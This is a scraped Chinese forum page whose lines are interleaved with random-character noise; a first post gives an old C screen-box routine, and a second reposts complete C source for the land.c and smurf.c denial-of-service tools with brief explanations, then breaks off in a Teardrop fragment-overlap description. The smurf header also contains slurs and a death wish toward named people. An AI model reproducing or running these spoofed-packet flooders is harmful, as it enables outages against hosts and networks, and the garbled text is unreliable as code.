$ q3 A. ?9 Z4 x: T# N/ Z*
' d% j7 A: U/ _* Short driver module
: E. w4 Z6 X* g0 o! u# p: e& {*
2 X5 D# |& h& ?8 W. o- f' y7 I*/</FONT></P><><FONT color=#009900>main()
2 e3 [) n* |6 Q{3 c: d2 v: ?, y# a0 e1 M8 R2 a
clrscr();
: S1 x0 l6 |# Obox(1,1,23,79);
# l' S; P, T2 c: @* ]! f5 f! ?  Zbox(2,2,21,77);
  j. s, g9 K/ l  \% p0 fbox(3,3,19,75);
3 z! P* L: t3 Zbox(4,4,17,73);
6 Q! w0 H0 d$ w' {& ?  y8 s* Rbox(5,5,15,71);
6 S, i, d/ E# f3 s; D+ }+ mbox(6,6,13,69);3 s  B: U3 X. N% o/ e1 M% f
box(7,7,11,67);
* _. ?% I* ^, |box(8,8,9,65);
3 O9 w& X! Z" w9 B7 Rbox(9,9,7,63);
5 L# B& P/ }* {! obox(10,10,5,61);& j( B' O7 O2 i. R5 S" \" x. U
box(11,11,3,59);
$ B) O3 ?5 k) e. @box(12,12,1,57);( j  N& H2 l* b9 g- X! q
poscur(24,1);
8 Y% H: g3 m; K# o9 L* \! f}</FONT></P><><FONT color=#009900>/************************************************************/ m8 C4 F& @8 F& A
* BOX *
) a" ]" A( d) y+ B*----------------------------------------------------------*
9 V! i, n2 }# D  q5 s" P* Written by: Jeff Ebert 7/01/87 *
0 b% w! _/ e0 l  h5 {' S/ }* Modified by: xxxxxxxxxx *3 \0 b  k# K$ n0 {4 ^4 ]
* *6 h0 Z' g- k. A2 c, n
* Please modify me! *
- M* A. r7 L* f" d7 j/ }( {% ?* Possible Enhancements include but are not limited t *' i; o4 M( ^$ M
* 1) Variable box character styles [1 line or 2] *
6 Q3 \: Y8 l# a+ [2 G  h* 2) Error checking *! e) _* w& g- v4 y
* 3) Color options *
& g8 P  G' B, x0 K* \* *
% b0 u; N# K. j9 A2 u* *) g/ a! t. n/ I
* This function builds a simple double frame for a menu. *: g5 H- _$ |+ \6 v8 y
* The function is passed the parameters for the upper *- a% B0 ]( w3 x) `8 s
* left corner row, upper left corner column the height *
2 o3 H% ~( b5 ^* of the frame and the width. *) E" y# I# f* _' B. @$ ~# ~
* *
* ]: _# @1 [2 B- j* ~( z( }" T************************************************************/# e# O- M% @$ q# s
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
- K; O$ o8 P9 b1 F# U#define URCOR 187$ z0 u9 a" k2 n( c& B
#define LLCOR 200- }7 Y, g  u9 p5 B) D. G) g
#define LRCOR 188" O* ^3 r& U/ C8 h5 c
#define VBAR 186
3 K* p0 w; d& |# r#define HBAR 205$ c* Y6 Q/ K8 C4 N1 `
#define ESC 27</FONT></P><><FONT color=#009900>
6 G) q" p* n2 r. A2 k2 _box(row, col, hgt, wdth)8 q8 E0 }& o6 A  w2 \; s. X
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{) L- N2 D+ y/ ?* G, }
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);* U5 r6 p( E8 t4 b2 L9 d; y  ^
putchar(ULCOR);+ G4 `' k; o  n3 l) r2 E
for(x = col + 1; x &lt;=(col + wdth -1); x++); @* i% ^0 M, P' ^' b
putchar(HBAR);
- J/ n) Z  d2 O2 d/ w" y- Jputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
; L5 O) T2 |6 c: \. Y: T  ^poscur(x,col);
; c, K; c' u; W( `' B3 D% [  Dputchar(VBAR);
0 C% O6 M) N4 `/ xposcur(x,col+wdth);
) F$ E# D" {! F- v. kputchar(VBAR);
- w5 U! P. m0 m. |5 @}
! s, _* }! h* b5 _  ^+ v7 Bposcur(x,col);: o- k/ Q3 v+ V9 f2 R2 r
putchar(LLCOR);& `2 B7 u; w5 n; d' Z+ [! S6 D
for(x= col + 1; x &lt;=(col + wdth -1); x++)
, a: g* a7 ]5 A1 `- y7 Mputchar(HBAR);
: N" @" E3 a; K0 G5 M# V/ \putchar(LRCOR);& [5 M% r) K% G5 _0 _
}</FONT></P><><FONT color=#009900>/********************************************************# b7 O; Q1 c  Z+ D
* POSCUR *; M4 o( h9 \: q- Z+ ^5 g+ x
*------------------------------------------------------*
' C  {6 d7 y$ ]! x( E, V# p7 K* This function positions the cursor at the specified *
. l/ _# W1 i) E, d6 F( \* x,y coordinate. It uses the ANSI standard ESCAPE *
  ?# E2 J) ~. h1 Z% d2 s* sequence to produce the desired effect. Its not the *# z. L. u2 G, w; n$ n
* fastest way to position the cursor, but perhaps the *
2 V! t$ j5 K9 G, W* most portable. *
, \/ w  Y2 D% s8 L  X) w* *
, ^3 c0 ]6 B6 B% M8 C  y. I********************************************************/
! d3 h$ X3 L/ aposcur(xcor,ycor)& S9 z* d+ j( z+ `$ R5 M
int xcor,ycor;) X5 {3 B" L$ t/ U8 d
{ 8 }4 [  G& Q- x+ e+ g
printf("%c[%d;%dH",ESC,xcor,ycor);! v- ^5 Y+ [( z+ y; j+ v0 i2 i2 T
}</FONT></P><><FONT color=#009900>
; {  T" ^, g2 T/ X. S. \8 |+ D5 r/********************************************************4 [' K. v: N  \" ~+ l. v: E# G/ X
* CLRSCR *
9 M% w# K% V/ D5 ?5 [* ~: e*------------------------------------------------------*$ g' x1 c9 v' _4 n% M* y0 b
* This function positions the cursor at the specified *
6 F6 L8 s6 Y$ u3 p. {1 s* j9 F* x,y coordinate. It uses the ANSI standard ESCAPE *
9 x0 E9 o( o+ ~9 l& ~. J* sequence to produce the desired effect. Its not the *, o1 ]* Y+ u5 a( O6 U
* fastest way to position the cursor, but perhaps the *
" T) y# Y$ u3 u4 Y" A# `1 D* most portable. *
/ s9 ^/ v6 B5 p& L5 b* *
7 p  h# a- }6 N" M7 t2 i& w$ _: {********************************************************/
4 m. s& E) K$ a2 k5 H$ U  yclrscr()2 g3 E: b$ o- ]! {
{
5 [- Y; t* C8 Lprintf("%c[2J",ESC);0 e3 |- h1 w% z
}</FONT>
. g# G2 L- d+ v* K# L</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
# u, \. j9 X6 j$ N" s这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自% j0 t  Z" B  F" t( ?4 y
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>$ Y! e! p0 e# U2 v. O  x: K* y7 g
<FONT color=#009900>/* land.c by m3lt, FLC/ Y4 H' R* K/ ~, {
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
1 v4 u" d. V) N#include <NETDB.H>8 V  k8 Y2 Z9 R) s
#include <ARPA inet.h>
/ Z' U8 i/ W7 ?#include <NETINET in.h>
) @) v  g! T9 w& ~#include <SYS types.h>
' G8 ~3 o6 m7 x#include <SYS socket.h>; _1 q7 S1 G9 n$ b
#include <NETINET ip.h>
% q7 Y: n# A; x7 O  O1 {7 k9 w" Z#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
- J3 B5 X0 b5 r! A& I3 R: W) Sstruct pseudohdr
: N7 {# h5 w, b4 m- a+ u4 T{
5 C6 j& V+ Q4 w7 o! h+ G+ @; I7 \struct in_addr saddr;1 i, d% n8 [9 p6 l6 S
struct in_addr daddr;
6 i$ I+ L6 Q* k/ a/ E: @0 Pu_char zero;$ N& A0 t$ t3 j
u_char protocol;
6 ]8 x- P2 N* m- _7 Cu_short length;
. R9 _/ b& M% a3 ystruct tcphdr tcpheader;
' Y3 j8 x: g& U8 c};</FONT></P><><FONT color=#009900>//计算IP校验和( S& p) v, t# ^8 T
u_short checksum(u_short * data,u_short length)
0 U0 s7 f- T: u* g9 C( `/ }{
$ }( C9 ], ^2 {+ E4 Z, E3 Tregister long value;# {4 D0 O0 J" M- @. D7 `3 j, |
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
7 h% i7 T9 ?! _( }* E; ]2 c2 \2 dvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)/ j" |, x; \- [
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
( `( [! m& p1 S- F8 Y& n}</FONT></P><><FONT color=#009900>
* R# h$ o8 P0 m8 u1 }0 |int main(int argc,char * * argv), ?; _! u1 W/ p) w) T2 r% c
{% s* K+ [. m& H. Q6 C
struct sockaddr_in sin;6 K' B. i9 W7 J: L3 j. [; S2 ^5 Y% x
struct hostent * hoste;
4 K& \( m# N  A* ]int sock;
5 P1 m4 M7 V6 Uchar buffer[40];- T' t# `+ h( v0 q5 h
struct iphdr * ipheader=(struct iphdr *) buffer;
' D& ?' ]" |  mstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
4 P4 y/ L6 t4 [" N. estruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)3 S' Y! I# B/ ?7 T- Y/ G2 K" C, Z
{9 n& c+ y6 N( ~" t4 A& u" z1 p
fprintf(stderr,"usage: %s IP port\n",argv[0]);) {1 B+ z& T% k: K0 F
return(-1);- j) G' h( ]1 I8 c5 Q
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));* S1 L# }1 r. e! B' [6 t( g+ k3 R
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)" c+ h2 h# _% e4 t
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
9 l- k4 G% m) T% e: a, P5 `/ Welse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)1 A, P- ]- G# f5 x1 D, z6 f
{
+ O5 U5 i3 r9 U# M- {fprintf(stderr,"unknown host %s\n",argv[1]);2 y8 a' H9 A2 o6 f
return(-1);3 B  E& J8 g8 E7 Z" ~0 |
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
5 A. x* F, X. ~5 s" T5 A{' S! l- }, T! a! G( ]* \+ S
fprintf(stderr,"unknown port %s\n",argv[2]);
1 F1 ^' `& d+ c- hreturn(-1);! @/ l; v7 _9 P) J6 e
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限* y0 m, G4 Q1 y! L$ D  ^$ {
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)2 x- P& O- v) x7 _! I
{
6 z$ ]& z$ M+ B  Ufprintf(stderr,"couldn't allocate raw socket\n");
3 o8 p5 B& D7 Y. N  k# d: W" ?  P4 _' I$ Oreturn(-1);& [- t) n, \) |/ r( X; U4 {
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));1 t# R+ }3 q( r0 [+ Z
ipheader-&gt;version=4;
) z, y' v! l, c4 ^5 i$ |ipheader-&gt;ihl=sizeof(struct iphdr)/4;
. N& ?7 Q- x# x4 N) W! m4 k0 jipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
7 l+ c' O! F$ c2 }, j5 ~ipheader-&gt;id=htons(0xF1C);
( \: {. N2 ^' a' a$ Tipheader-&gt;ttl=255;
! @' n1 Y; y" `% c) Cipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同. U3 x4 t- @5 n" }6 F3 v2 T
ipheader-&gt;saddr=sin.sin_addr.s_addr;
' [. `1 t+ b* \: Mipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同; Z4 h7 X* I, U& y1 M2 s& T
tcpheader-&gt;th_sport=sin.sin_port;
3 D: Z  Q, e6 D5 U7 g0 G2 _9 |tcpheader-&gt;th_dport=sin.sin_port;) c& {+ I& L) M& `  v2 T
tcpheader-&gt;th_seq=htonl(0xF1C);, f* z# Q6 U7 U6 C6 A; l% }1 y3 P
tcpheader-&gt;th_flags=TH_SYN;
  u! T$ `% s' x6 _4 ]( K- N1 _tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
$ |6 d, c& P8 n$ Ltcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
5 X- Z  m' O" A1 s, X* O7 _: npseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
# `9 `  \% d, O2 m6 Ypseudoheader.daddr.s_addr=sin.sin_addr.s_addr;" ^, p' E% z2 o/ q( n
pseudoheader.protocol=6;
0 V7 }* u0 S/ n# I( M( B7 ~pseudoheader.length=htons(sizeof(struct tcphdr));
0 u. m. h- c3 I5 `bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));. \% {  H8 z" l  [5 ~. `
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),  u. B" Z% {' I  J4 ^9 h6 @
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1); I  W% O; U1 l
{1 F" ], U* r! t: t
fprintf(stderr,"couldn't send packet\n");
4 c, L1 N1 @% ]2 Breturn(-1);+ D* o2 R- W1 q- T2 U) v  {
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);$ O% f9 c+ y& v5 Y' h0 K5 Q% Z
return(0);/ S' X7 M! G/ ?
}</FONT></P><>! y, t3 L3 ~" v& g6 i$ U5 p
2 Smurf, b: \- M2 K8 O& W, Z1 ]: n* l
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数+ p' b  F- G/ O
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
9 i8 n  F  R, c7 l  Z* A+ @的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些/ C# _/ t. }/ z% E4 ]
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
& [3 u; k# N8 S) Y  l(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变+ ~. H7 N9 D+ ?/ k1 I7 `1 g. @
成不可能(没有WINS服务器时)。</P><P>/*/ [+ j. @4 c5 U5 D% }# l4 n$ J2 R
*
4 J; A  |* W6 i* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
8 l$ O5 a% M0 T; P! l2 q*
" B3 L5 k' M2 k) ^8 S* spoofs icmp packets from a host to various broadcast addresses resulting% P* r" G4 Q/ P- [" h
* in multiple replies to that host from a single packet.0 ^) F0 Q" N+ {* R
*
* T3 c- P7 I5 Z/ k' t0 ~  i! I* mad head t
7 e# Z5 m4 \, z1 u; o* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
5 p6 o* l, \+ D+ l* MissSatan for swallowing, napster for pimping my sister, the guy that2 ?- b% |4 P9 t. w8 \  M
* invented vaseline, fyber for trying, knowy, old school #havok, kain4 h* C2 o1 T2 Q' R; d
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might5 W7 u# J7 g) X  V9 |5 D
* have missed (you know who you are).: I6 p; K* C4 a* n; ^/ R& u
*: e5 L9 d2 m+ f, p7 S% V1 c
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
1 x+ [2 Q9 ^; R2 k9 I* thing he is (he's -almost- as stubborn as me, still i managed to pick up
: C2 @/ E) U7 g* half the cheque).
4 P  d4 J: C  }8 J*! e( l! |( D8 i8 q3 p
* and a special hi to Todd, face it dude, you're fucking awesome.
: ^, b- `; U9 {; ~6 ], V*! l- k- i2 g$ W
* mad anal t+ k1 V9 u8 }* Y
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
/ @9 b+ C4 ?( ^- T* T" t" m; Y* because they plain suck, Rolex for being a twit, everyone that
+ o3 x. L  j- F- j  |; s/ q  A* trades warez, Caren for being a lesbian hoe, AcidKill for being her% g( M& ^' I9 ]3 F3 }' h
* partner, #cha0s, sedriss for having an ego in inverse proportion to
2 L- d* q5 t: x. w2 y& c6 _& T, \* his penis and anyone that can't pee standing up -- you don't know what
. ]& e+ d  S0 U% Y2 b2 J/ u* your missing out on.
  ?- R' W' w) q# B*
7 r8 q: z7 ~6 z, q$ ^* and anyone thats ripped my code (diff smurf.c axcast.c is rather
4 [; O, x5 m# Q' p6 F" N" S* interesting).7 h9 P. E2 y; R4 }  f! `- @. y2 D1 B
*' k% U+ Z* K" k: ^" ]2 }4 h7 v! ]
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill6 Q7 Y* g2 D; h4 |6 x
* Robbins for trying to steal my girlfriend. Not only did you show me3 A7 q9 D* A) m
* no respect but you're a manipulating prick who tried to take away the3 g. @) _; H/ r7 `1 U% \" e% I- z
* most important thing in the world to me with no guilt whatsoever, and
7 F5 V& V( m+ g& U; y7 A* for that I wish you nothing but pain. Die.0 @" y( O! R- V2 l4 q8 u
*
) N: y8 |/ C( D* disclaimer:
3 L. k( u* Z8 N/ P  @7 [. M, R* I cannot and will not be held responsible nor legally bound for the
% z0 J: f+ X) W5 W& e7 r& }* malicious activities of individuals who come into possession of this
; j& U% P/ \2 H) A* program and I refuse to provide help or support of any kind and do NOT/ L2 `8 C4 g/ A# W* ^
* condone use of this program to deny service to anyone or any machine.& ~! A# B( z# s( x" {
* This is for educational use only. Please Don't abuse this.
. @2 @9 f0 R2 E" |! u& U*
1 _% _- K' x1 L% i) |0 d* Well, i really, really, hate this code, but yet here I am creating another
' x% Y8 N, p, [9 P9 O, `2 W/ G7 U) n* disgusting version of it. Odd, indeed. So why did I write it? Well, I,+ A3 f( L2 W  n$ w! j2 a
* like most programmers don't like seeing bugs in their code. I saw a few: i8 W6 x1 ~, W$ C- d
* things that should have been done better or needed fixing so I fixed
3 _1 \8 W* {5 K! L/ p! U* them. -shrug-, programming for me as always seemed to take the pain away
" ]) R$ G! V3 n" B" v5 |: y, s' u; S' Z* ...
* f3 Y0 R0 w# w& I*
9 G3 Z+ s; L* [4 Y0 \6 d/ ~*" M  W; O3 {2 T+ R
*/</P><P>#include <SIGNAL.H>8 ^( G) f" @5 J* J1 f
#include <STDIO.H>
) ~9 z% B+ ]6 K#include <STDLIB.H>
% x0 G5 S) L& g6 }0 I#include <SYS socket.h>, i0 X& X/ f& G, o) M4 Q6 x
#include <SYS types.h>
  s' O7 {% X: N3 j#include <NETINET in.h>% W8 y6 V- ^3 L9 V* S
#include <NETINET ip.h>8 M( ~: ~# {" s8 x
#include <NETINET ip_icmp.h>
3 _- z, e# z* @#include <NETDB.H>+ R$ u% C: k; f2 @" z5 M2 r* @
#include <CTYPE.H>* |) a  E' Q( n) ?/ g
#include <ARPA inet.h>
. \$ }# m% V1 k8 h. K1 z2 d) F% |#include <UNISTD.H>
0 T# J$ @/ [) i1 @. `3 u#include <STRING.H></P><P>void banner(void);; i9 j+ F/ Z6 @
void usage(char *);. c% `7 G4 a1 C0 w
void smurf(int, struct sockaddr_in, u_long, int);* Y+ P$ u: U3 b/ @; _( }
void ctrlc(int);
4 D( \: J) s. k2 ?unsigned short in_chksum(u_short *, int);</P><P>/* stamp */- g4 C+ ~( X: e" U( J3 h
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])  D+ W8 }$ V/ Z% l: y3 d
{
$ ~. k9 i* a" u  ?0 q* N; W* hstruct sockaddr_in sin;
# O0 L! |/ _; U# N2 }struct hostent *he;3 {* c& Y6 ?# {% b1 M* d/ T
FILE *bcastfile;
1 {! P# ]: S' j% ]int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
7 l4 s3 G+ C9 C$ x' _0 Bchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
9 I/ c$ p0 t) R* r2 W! ?signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
+ b" m3 y5 K! r! ?& u, N# uperror("resolving source host");  N- u4 d' B3 U" Z8 B' M& |2 ^
exit(-1);
6 i: `; R; \- I# Q; R) o9 V}; i1 {) I( d; u& d. B# m
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);# o- \7 z) w8 Z% T# Z$ u
sin.sin_family = AF_INET;" A) m( I. b6 Z& ^3 T$ {' S
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
( H2 W: H5 J5 j6 ?0 ndelay = atoi(argv[4]);( I: h4 H2 e8 |: e# H9 ^4 `; B
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
' X2 ~" z# {: ^3 q  C+ c: I. {, zperror("opening bcast file");/ M0 J& [% {) o* `, s/ G
exit(-1);7 h; S8 i6 K& e: a5 @# Y
}
$ E3 d4 y1 H# C3 h# q* Y( ^0 ex = 0;& m* B+ s# R6 m; w; b0 n" I  {. h
while (!feof(bcastfile)) {
, i: z: d( f7 e8 @5 ]2 U" Jfgets(buf, 32, bcastfile);
9 c$ A2 v" d3 fif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
0 \0 }8 x: u' g' G( P2 L. y) Efor (i = 0; i &lt; strlen(buf); i++)
  s6 l, _( g4 e2 h: F. Fif (buf == '\n') buf = '\0';
3 P# M( w1 X- t# @' [, Dbcastaddr[x] = malloc(32);2 B1 u1 ~# o8 P( f
strcpy(bcastaddr[x], buf);+ t* @) O+ G: P. U" H
x++;
* H  P7 P- |& x" K) q9 {" r+ B}& }9 L" G- e* w' `/ R$ p
bcastaddr[x] = 0x0;
6 R+ |* a5 L6 O: xfclose(bcastfile);</P><P>if (x == 0) {
1 e- z; d! ?2 s! ~fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);! J2 n. g" h6 b5 ~, i
exit(-1);4 x/ E- r6 m" h
}& h( v$ a- w1 n3 p. w& b
if (pktsize &gt; 1024) {
4 i  I. w5 j+ Y& Jfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
) [# p# Z$ ?' T  [exit(-1);
2 k1 ]& K( r. ?4 c: P}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {9 v: L4 X, E8 ^5 M( Q
perror("getting socket");6 s2 S7 E1 q* ~" ^( S! Q# R( U3 V% X: Z
exit(-1);% d* Q$ G+ H1 M! L" b
}
  N% Y3 o+ H; E1 R- P: \7 M& L' fsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
8 W0 u0 I: z$ I( y, G2 a) ~7 }& Zif (!(i % 25)) { printf("."); fflush(stdout); }" n# Q0 o. h  F+ V6 s* R3 z
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);3 ]+ \: J2 i2 d
cycle++;7 w7 ~- _$ c" H5 w! R
if (bcastaddr[cycle] == 0x0) cycle = 0;7 i( M/ D7 z$ j* _7 O
usleep(delay);+ ~7 R8 P2 A( y; b
}
/ q2 X7 Z3 E! P; _# Hputs("\n\n");
; n5 R  _, }. A6 v5 j: {5 yreturn 0;- ?4 p: T  a" ]9 H1 }' J
}</P><P>void banner (void). L8 D; r' d  J* u: a# m- f
{% L) P0 D( b5 V2 P; [
puts("\nsmurf.c v4.0 by TFreak\n");) U0 @" h6 ?8 n, O; N
}</P><P>void usage (char *prog)
5 i, {6 O8 A3 J: {5 S, G  d  |{5 p, t+ d' L8 n+ G! {- o: _5 P
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
: m' A% _2 a0 L- S# b& ^"<NUM packets> <PACKET delay><PACKET size>\n\n", M& _/ B1 n7 Z9 C
"target = address to hit\n"$ u6 \/ ?% C& E5 _9 G: @
"bcast file = file to read broadcast addresses from\n"
* G3 t3 o+ }/ i# ~" ["num packets = number of packets to send (0 = flood)\n"5 C. z# @, _" p7 o
"packet delay = wait between each packet (in ms)\n"
- Z' @% B2 V4 ^1 L* g1 i4 `"packet size = size of packet (&lt; 1024)\n\n", prog);2 [# A  l7 m5 O5 l& w
exit(-1);
& T9 T5 D$ f2 T( B, r" U' [1 I}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
" B! q, T4 P6 L{0 ~, P+ P0 Z% ^" i. Y
struct iphdr *ip;- B6 A0 ~+ e" h: g) {
struct icmphdr *icmp;: f. E( \" s3 O: Y2 c/ [9 W
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
+ a, Q9 x3 ^% Pip = (struct iphdr *)packet;6 F3 N7 j$ V8 D: n/ n9 t" ]
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
" d$ d2 e6 H1 @8 S- ^( aip-&gt;ihl = 5;
2 {$ Y9 P4 Q8 A* d) uip-&gt;version = 4;! ~2 j8 Y. I7 W$ v
ip-&gt;ttl = 255;# x: T8 A, E3 A& W" @6 K
ip-&gt;tos = 0;
3 m! T, F  B# d5 L9 U+ I" tip-&gt;frag_off = 0;
$ l) `  R. q8 R+ {# |7 |ip-&gt;protocol = IPPROTO_ICMP;# I" n! o4 u) y: T' ~
ip-&gt;saddr = sin.sin_addr.s_addr;8 s: C2 m- X% _5 F4 v9 q
ip-&gt;daddr = dest;) g2 r+ Z) x( q4 f! Q; }4 M. v
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));( ]7 ~3 e2 y# N( p
icmp-&gt;type = 8;
5 A( G3 d; q5 f( D* G$ W3 V# vicmp-&gt;code = 0;
$ E! u7 X& g0 }7 Kicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
. _8 }$ c: j; w' C& r( r3 X+ u0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! *// D# K) j4 z0 a2 u
}</P><P>void ctrlc (int ignored)7 y& e; G" [9 }- U3 j8 g4 Z; m% K: a0 w
{
& K& k* V6 p% q+ |* e: V% Hputs("\nDone!\n");
9 Y9 g% }% {9 z9 `+ Hexit(1);
3 n5 D! r5 w5 K. v3 J. T- N; u! B+ W' B}</P><P>unsigned short in_chksum (u_short *addr, int len)# Q4 W) S3 Q4 i! e" O6 H, b
{  F- B8 |, y9 C& v. `; ]
register int nleft = len;
9 w. G7 q7 `1 I( {  Tregister int sum = 0;, w9 \: J6 i9 W, `* ^
u_short answer = 0;</P><P>while (nleft &gt; 1) {. Z+ e5 [/ o) P+ l! b" w
sum += *addr++;
, y" m# @% d7 w; B. snleft -= 2;/ z. N9 Y; n7 \+ A5 L4 o8 \
}</P><P>if (nleft == 1) {
4 j: a. }) n8 O+ a) r. a( W*(u_char *)(&amp;answer) = *(u_char *)addr;9 W; X- y* R; X# U4 G
sum += answer;
+ i: ?. |7 J- K. n/ L}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
6 B6 }: _3 s& o; }8 o: p( Csum += (sum &gt;&gt; 16);
" i* B# i0 S* [! Uanswer = ~sum;
: @* s6 k/ ?9 e* H* k  w. Yreturn(answer);6 {! d6 M5 H* ]1 G7 J
}</P><P>
5 X3 R5 j+ Z3 n2 Q% p3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:3 Y# |4 k8 s! U, ~; F& g3 r: Y
fp = qp-&gt;fragments;- ~' l7 u) n. d  M, L5 U: i4 {
while(fp != NULL)
  C4 H1 c; H; ^3 r{, D  J; X, j1 N6 O" O" b
if(count+fp-&gt;len &gt; skb-&gt;len)
. M. {7 L7 A- y" q/ `3 J% t{
& i  A, [# P; ~, `4 q# o& derror_to_big;# f0 Z% c9 ~7 t( _
}: ]+ _9 o5 h- R  u: y
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);" S6 L# s! T" x, s
count += fp-&gt;len;
8 j. @; P- |* L) p- i/ f4 ffp = fp-&gt;next;
/ h7 T! x8 T& F! E, B1 O}
- S' S8 M' j# [, ~这里只检查了长度过大的情况,而没有考虑长度过小的情况,
0 J; O; Q. r! [如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:; O2 C( B9 x& Y: H& U) o: C4 n1 K
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
6 D! M" I  {3 S是这样处理的:; G* V. p5 t) n! M( R
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
1 E0 b5 H! l# U# T. N- K{  T( C  ^4 q8 v; z- E5 M( k
